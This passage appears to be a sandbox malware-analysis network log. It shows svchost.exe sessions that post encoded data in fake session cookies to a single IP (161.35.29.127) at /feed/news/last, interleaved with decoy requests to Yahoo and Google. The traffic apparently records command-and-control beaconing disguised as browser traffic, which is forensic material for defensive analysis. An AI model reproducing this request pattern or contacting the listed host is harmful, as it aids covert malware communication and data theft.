GKDuKTTtNgMbEg6JF4IeM%2FIRDgZZ8fr4b%2FK%2F3T7GPN2wUyXHe1NhKLssK6qO%2F7FvZWKYu6oE4tKQ9X6FMqP9j%2BLv3BafCPMRuI0yEn6rvGiAV0BggR1KYEPZImjuQ%2Fpdo9t7uFFHAst1zFUhezbzto0lI8Eq%2B4lsTgevOZYapNv9bbYNaADCcBwalPpZBQ1xxwnOhRdmJclldmUod%2BBVymix3xr%2F35D4iFHOD623jhpYdqgXaWE6o0ibUwOfE6KXUkr%2Bre5Dx4rm4R3PvEF%2FZi2JNYE9361DQNHhUx0%2FsSEUixJn4sEdZPscSC8R9fm39AqTm0O7aAEcHOQMQsCCyA%3D%3D X-Csrf-Token: pkorhNi3dw441tWGjFIMuo1BMR9uyepEb%2F8NS73ow%2BRLj4IGY2UN5DQiRUWhMv93Xpoq%2Bq0qmvWm7mH6rGgLh1fHiJs696m%2Bn7IIK%2F9H3SL8DjQoudU8OTbRcJ65geTZw0hlIpk0of1qhLLn%2FBLWhaizeuo6%2BBM6holqaWk1dOj%2BURGHBFWpOTgU4DGU1kfKBtxtCV5EfuE1NYRNdUhRASgaE4oZZy0WCMW%2FZOCiZLdRjTec8%2FjN8i4RhIxloQVLdNY5FKSk59jQ%2FkKZJVMOHvluosLi%2BoGuXp3UNHs9dYhNZF6p3HJdjSgZ692ncIqHS8qxU765qAjv1XW3f82xOQ%3D%3D X-Request-ID: JGsFa7ujg3TiEv02fcTjIbxzX7Yv7kmA8TbCXYdD3B5u8tuQ5K2eKufgMCUGrj2c7oC11t35NHUo9GYvZuRImAXgozzsFQZOUgbzzhf3BJqicm0a09U20f3rW8PGW42PIRKBOsb0F2GfBj%2BRMGthhTKCOQwiO0Lo0TD4nOltFsg%2FB2RJmSpWdO%2BYzL75rb5Sdp7KEBCr5w72DffdO95JUhCyqGAMCPidCgjtSv6Fjo0%2Fyfs0FGsbFDMCQt47%2BExtPJhJlC57ei266EGavFK0yAKNCUBrQhGZITFo5q8YIbhuLU9AxHS1iEIm1oELMc8GDm6LjcS58enrYHqFiVCKVg%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:53:44 UTC	895	OUT	Data Raw: 2c 25 55 81 29 2a e4 6d af 11 d1 45 f1 21 4c 72 ad cf 35 15 66 57 e1 19 fb 78 7e bd 91 5e 82 36 86 54 43 1b 22 8b df c5 bd f3 fc 5f 4c ce 8b d7 fb 45 d0 0b 00 3c b4 00 56 58 d0 48 55 07 3d f5 c4 e3 48 70 0e 56 9e 87 3f 0a a0 78 7a 67 d1 90 60 17 47 3b 9f 0b 86 f9 d3 b9 0e f2 9a cd a7 55 bb 29 9b c2 f2 db cb bb 04 36 29 1c c2 6a 0e e5 77 3f 49 f3 cb 79 90 08 c0 ca 96 80 e2 92 cd ed 59 a4 2f 28 80 86 99 da 9c 23 05 e3 17 d2 bd 3a 1d 74 5f af ed f1 6f 2d e0 a2 3a 45 66 44 b9 6c 2d 36 cc 87 59 88 64 ed e9 e4 05 f7 19 06 73 87 81 9a 2f b4 c7 ad 19 fa 3c 30 74 14 a4 09 48 5a fc f6 9e 75 91 a8 a6 2d 6d 2c 7e c7 f3 87 ff 13 ea c9 3e 36 b2 7e 21 ae aa 81 4d 30 72 71 18 0a 4d 56 26 a8 37 89 7b 6f 25 a6 c6 9a 81 dd 81 1e 7d a0 0b fe 05 58 ba 63 ed 60 93 6e 7d fa 7e Data Ascii: ,%U)*mE!Lr5fWx~^6TC"_LE<VXHU=HpV?xzg`G;U)6)jw?IyY/(#:t_o-:EfDl-6Yds/<0tHZu-m,~>6~!M0rqMV&7{o%}Xc`n}~
2021-09-28 07:53:47 UTC	904	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:53:46 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.3	50053	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:32 UTC	1093	OUT	GET /3pRpmnq8naqtfeVmyfv/l5nrmuqlfwddxUu77hkn3izm278644nsshk/H6uvs2jgz5moyoix6s3Z4oudpot87vw/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:32 UTC	1097	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:32 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Content-Length: 748 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=7a39eshgl5iho&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:32 UTC	1098	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 32 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:32 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:32 UTC	1098	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 33 70 52 70 6d 6e 71 38 6e 61 71 74 66 65 56 6d 79 66 76 25 32 66 6c 35 6e 72 6d 75 71 6c 66 77 64 64 78 55 75 37 37 68 6b 6e 33 69 7a 6d 32 37 38 36 34 34 6e 73 73 68 6b 25 32 66 48 36 75 76 73 32 6a 67 7a 35 6d 6f 79 6f 69 78 36 73 33 5a 34 6f 75 64 70 6f 74 38 37 76 77 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f3pRpmnq8naqtfeVmyfv%2fl5nrmuqlfwddxUu77hkn3izm278644nsshk%2fH6uvs2jgz5moyoix6s3Z4oudpot87vw%2f';if(window!=window.top){ document.write('<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.3	50054	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:32 UTC	1094	OUT	POST /feed/news/last HTTP/1.1 Cookie: HSID=Fdt6xzC9sT4K8qhMlDCj3%2FiwaENJ%2BSY9ORvOK703Xi2wXLeNCDEw2Grlus5xtsHFAVURYq5ny7%2B%2BO9x%2BzTTlNlKzfcJ8bWB9YyIE1rbs%2F2Wvw7LWqj1UmG%2FH42TZpw6pghk7Vk9JAdmaUF62kCTWxpjpWhDDVuzW%2BgkIFpIglJfP2XtnEwZgDX4nwILV8%2FNvHANObyH9DdF4tk9QZAuhxRaaOpObVYkU9u9g2m1g0Q%2FLn7EqlzyRxjZa2nSeDiWnqoxq25CbGfv0eWwhb6EfCsKIrrjuOkyPScAJ5KZ8NLhp1rEaxfT1SrSz1mGsEKfHmfSeqNILsx7TAi20FG0Ovg%3D%3D;SIDCC=sNZ7bPoCEoGFaZgvQYz%2FdbZskN8LY5n6CxhmxQupIl2X5M36u%2F4v%2Fj6S3Z9fPdG%2FrVfbtv3Xi09BXQm40xqYH5BIal%2FVXmyiIPlzB2SgKUl1ZtrG7d18wzQDUotP%2FNYWeA9L1ox5%2BAGLZf1mCk6EC0NS%2Binz7iI8xClGibotu1oJMqu2NYwYWuCnLUfXhA4orW0vgLWPyPT3UA1l4dGCAQmsiyp2fh7S8ZhEU6%2FTWDPLhvKPZZWeUemStA2gDW0cWLRGPRDxHe22aVgQxhQw%2BTmgBFTckCkh0Xy8P050CRK%2FsUsBKUWa76Yi9orHsRN6WbE6N%2BYNNvJl1rZT2FTI3g%3D%3D;SID=sn8MFRQcSw2FyrfsG9VVTj5tN9iONlqfDQVY30G35yzRA06hlNMSecG7c2ulCrJTe4HV0mPQ0h0VSae2DngcgOX%2Bf0R6ffoqkm64fMAi19Y4pLZoow0DVU1%2Fl6f%2BMLX0v8YXZHbh%2BnmyYXp8zXJUgPLeRrB4%2BDwo0oNiije6pvzeDHgnJ%2FagRnvcLutwVBwMUe62sTr21P1d69%2Fc%2FDksh%2BULCBngTBJlEzJJMO11qOFxUweC3nCzZ0b3%2FNIwmrFnaT8E5oJAnKqPDyNbikFLGcXz0zwDWPMR8E%2BJ7FxjwNW1W7rrHYUwdeNLzJJRFOUJD%2FFfUtABu%2B6ymitaMpSlpQ%3D%3D;SSID=s1MNk4mNTjNiL%2FvLtOjxZJXcVyJ9e0MpMB8W%2BH7foafEgr8feJpJiNaesfsFpPVmLG5%2FAMPJzP%2F48sf60IsSX2TKlNZMHcp0O7c9OxQ4RGocIb8fFQ4yKTEwoykMY3wOnnzjm0iXMimPUIV0YSoUmQuPhsv8xiBQcgTs2JSnfXf%2FYYFWXO9GxuAWbbN8OS5juIPnecI8FtfwbpcZfUbEkck1uHmx1uTb0H6nrHJIk73deUP1g2z%2FTtwMtrHly4ueP5SKg6dHYZdUA2krQY6Mnfl9CixKBoW0FmNvuMqcNNyhC4jjJxYerj0eMBIsyntM0xBr%2F%2Bmeh4xfZFaZ1C40gw%3D%3D; X-Tag: kA4CsPsaqNICR4nu2bZuO1SyjCI8lvcLndFdv3PqYzuLMysh1fSDDgeuZ%2BtvP%2FeXr%2ByyiiArl9IWJant2iaz5736PshFOoB5to8DYfVfHdMaufMK0gVoFN30AmMunTv7lWVweR29BQnZ6U2aNxIlyw9WBMdDFOGezSBAiVF8F7DEqsGZqac3rkv2vHetgsuUS2rsqvzXm029joivugA%2BgDCXMN6FoxBFZvGBALdIYKuVIY4mn%2B9%2Bfb1qADs2pfxQfuEWe8Z9yJNEPmAWWFx0bKqDyO4v3ZG6tvBhL6jIhy8dk%2BPNPnGTiReUjZ6hF%2BCAqoRVJ%2FOwewwLFNZrO8K7zA%3D%3D X-Csrf-Token: AsEj3WQyZJEXCAIaRkSwlhnl%2By3u9mTSiOM0RDLFPIRZlHnWz9IX%2BNXQQdmrt1rAU%2FmGSxFIIabz8sOi95QK1RdjqAS7de%2BkYwbjgJr12LOfd01G6b5qx%2FT%2Be3dzn2aPYNPIpjUHkc%2F%2FDLj14x%2Fy%2BvnmqpbPuuJqU3c13igRCWsxMPhU4GbZs%2F1Mp8AgLgJ1nEhcPoDgO9x55QJU1j7xHPwroZMD%2Fvr6Y2gGiUWGuQmBYpejzZe3fLnyq2IVaufT896RpCE6Pkwy0bEyNdOKAN2M310IMesZsD5xGZM8PM87IzYRnZegADGoDaKTHO2OC0PBpPOXW0%2FaQZIek2fR5Q%3D%3D X-Request-ID: bkXgt06Bm95PxhgOqd7WaMOhHhRDMCx6Sff65jgKSeUp0Qj2yBLGRkHC9WjhxAFc30lhYhedXsMkL%2FiFQqZIIUmTB0Hs6omo2QJqKNP90RHzvSA%2FHJydPMBzYYwO6hDzj3bVkDy3a6WRslcKIwLGPerXZqjLB3P53u6RazCtoYwbXbjmYTow9W380IxdKA%2FaL283YqhF0HwhvnOyntOGJrfbqfRzyWToDhGAGt1OerveNfdfkRdHscY3P5xurMahR%2BUj3DEOM%2Bvv4voyqErCDK9i9BOx9r5yF047Dkuk5nWJjZ62WsMkIsxrgSp0Pn8k26n3hB0MH0KjQhSbI3uelQ%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:54:32 UTC	1096	OUT	Data Raw: 68 19 2f c5 e0 e7 8b 01 7b d8 59 ef b7 84 ff b6 86 41 02 7c 59 88 da 81 56 35 ae 32 50 fc cc 57 3f 76 07 0c c8 81 1b a8 fe 30 fd a2 41 f9 29 6e 95 1c 55 65 19 08 a6 aa d3 cd 58 15 38 3c 9b 87 e7 53 96 3c 34 09 0c e4 c6 e4 b2 2d a9 1e c2 b3 aa bf 61 d7 ae 15 03 2c d7 35 b6 1a 50 54 f9 7c dd 8e a1 18 f9 66 d5 cb 6d 70 df 7b 5d 1d 54 9b 98 99 8e b3 f1 ce af fd da 74 37 8b 89 92 a3 5c 64 7b e3 06 86 9b 53 a4 8a fe f6 97 21 46 b4 0c e6 ac 4a 0f 72 00 40 f2 15 d1 53 04 fe 36 a8 ce 8a 11 85 59 7d 58 e8 3d b7 55 1b 27 9b a4 d5 e8 ab e0 6d 49 4a af 2c 04 1a 2c da b3 e0 e2 67 29 d0 ef dd 83 29 65 31 a0 c6 01 ed c3 22 cb 9b 94 90 96 45 69 12 f3 86 4f 29 d8 12 07 f2 c1 82 e4 b1 17 d9 87 51 9b c8 d6 fb df c5 87 f7 8d e8 72 d4 2e 24 55 10 3d ea c3 61 4a 1a 83 42 66 20 Data Ascii: h/{YA\|YV52PW?v0A)nUeX8<S<4-a,5PT\|fmp{]Tt7\d{S!FJr@S6Y}X=U'mIJ,,g))e1"EiO)Qr.$U=aJBf
2021-09-28 07:54:34 UTC	1103	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:54:34 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.3	50055	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:33 UTC	1099	OUT	GET /67MlxP14aGQtQlos9/fjFgjj3qw7f2ck3Aj2881p6wb3qjoqjF3yu1kazr/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:33 UTC	1099	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:32 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 686 Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=bprlqupgl5ihp&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:33 UTC	1100	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 33 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:33 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:33 UTC	1101	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 36 37 4d 6c 78 50 31 34 61 47 51 74 51 6c 6f 73 39 25 32 66 66 6a 46 67 6a 6a 33 71 77 37 66 32 63 6b 33 41 6a 32 38 38 31 70 36 77 62 33 71 6a 6f 71 6a 46 33 79 75 31 6b 61 7a 72 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f67MlxP14aGQtQlos9%2ffjFgjj3qw7f2ck3Aj2881p6wb3qjoqjF3yu1kazr%2f';if(window!=window.top){ document.write('<p>Content is currently unavaila

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.3	50056	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:33 UTC	1101	OUT	GET /mss4pspXhns23h7lEfLQ/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:33 UTC	1101	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1582 Date: Tue, 28 Sep 2021 07:54:33 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:33 UTC	1102	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:33 UTC	1103	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.3	50061	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:35 UTC	1104	OUT	GET /feed/news/last HTTP/1.1 Cookie: HSID=yslAYZuQgRbFDMM8QK4R6BafCEw48wo1HzZWyi0PMzjnaOKD7bF6%2Bw5rdH%2F6ZUqhDTbGNs%2Fcf2LRXbbGyZhdVSLTmYoWTuPmtPz13UOfr9oOIH7AK1TN3f4Uk1WdVB%2FzeykF4frTDUSNNreLWEX5lfpJLxQItz6tfiq2cVhm%2FaA8uFme1OFslz7fNmzPfLzLh4VRLBhyIJZyQnclSgY2uoMJSXT0vNs4EuharU2vBrwPZxM%2BzO0Wfmcc7RR39xwRx5ea4j%2FM%2BUB9uSx2tbexh14MK5bsDt6BTKf74JQTu%2FyhjDb%2Focj9Co1hGLHcyH1wgEgsFb7jIrHJhOeBmSKCHw%3D%3D;SIDCC=a%2F81BDei2UQSn83dL3DY%2FruTFNs8iXpfzijNJhce4oqXkHW8xEYS7797vg%2F7wJ3txVpnswbiBdWs%2Fy0Z4eM9RsmiY9Z2bx7GXRVwycIPGZH%2FN%2Bzuey%2FUsy2V47Os4sKg2yt1vfWz0FpRknY1E69YxUvsrYkxw3z29hgJ61HBwnUx6LKHs%2BQvAJR3cBZAOvQ1gQpRtd%2FZ9LpdV2C2VFSldX06CoWNa3pNR9N0FRyUnu4ky2AGnFDlaKRTgqj8WVIVuny2dOOdtnFFIgsw0wle23%2FBjNvsf8CqYo7W1IFWG86UWBQIXhleOU5wzU7CsidRLbyNlq%2BA96444TJfdLiMig%3D%3D;SID=1uZY7Tz7tsgVNpBKPwBPBirk2vOoscdDoVDLsjHMomAfuhAtXnF3HUg2JzmWR8jPjvMV9EKFnffe5sWlwwzUiMDjoFvuVaSJk8ZJWyuYCKW4gsMkhLSQPfzMO5H1mZcwU9x%2BV7nzK7SMu4wezCx0WvOR1ZwJX4%2FSwG9hpdyqfC9SK8debilWGKqtd3fg8YJqYjZoACIc7XywsHHnh3eYCoFDzU9ZCI%2FWfgM2leZcdsRZgUB5kbfjTAFeCW8KmHXzHBgbTmyDkx64mpQQIb6BVSuQ1SjPPlhMg3GPKgWk5lOt0bmX9nsFYD%2FIVENM38sLqNonVDqbaGRi5dM0Se9UpQ%3D%3D;SSID=anJsola8rQ65bxEDXxA5wf72hhTgocy1Av9O6q5RSG7%2FZgyIIKoNpzzi06ILep3ANgr29D%2FK2AXjOtIDMyqCbOkJ48UlB6zUHMbNBUihd0WzjiFrTNehMePHyfGrJG7VF0QflDD3bnSJbKE%2FUo78OVrzRk6uIl0fNTYBDBvDPicaK7oFZwZawO9smLjlnKbQH5pqk7l%2FbwfAlPI1BNCQOiCnQSrJVWILDiy0ijm2YI2RmTfrVXRH1QlNLwjq7Bd9QHVpaIofZcRw21Bpn6iyTtO%2FJWKRPPfDneezz9fLFJnmrj%2Bx7ExcTUaTz1khaVW3e7JGvG%2FKyrXxjBqQ1Yk33Q%3D%3D; X-Tag: P2tBJYYUMhbBUViVRL9Gj5wXKDu3b%2B37KWTrwiH9Okjj23cRy8%2BnjG%2F7JoXF5EGtMd7nMm7MyORoyXI3Wcpy0N2hTUyIpQaqVoP2XwXtng5xzoTptXRERvQQYZ5L6xFk0kqVej0q9gB6kPFtFKZmJloRWBQPGiSonmKmhzrRAWJy3NXJhRwUgZ1c1F8PU1hIynKZe7ZBNd%2FwpW%2BkYhxkwasvCyVRgaEMX1EXlxo7FEZQdKoNSgTnClv2pc34yp202i0hDvj%2FSruXqU6fxamb0YWMjCYI9LibKJ1cgJnIuNg2znyGccnFGH2x9BqBpa9kuy61qIkWfKtalps1OJ19Lg%3D%3D X-Csrf-Token: 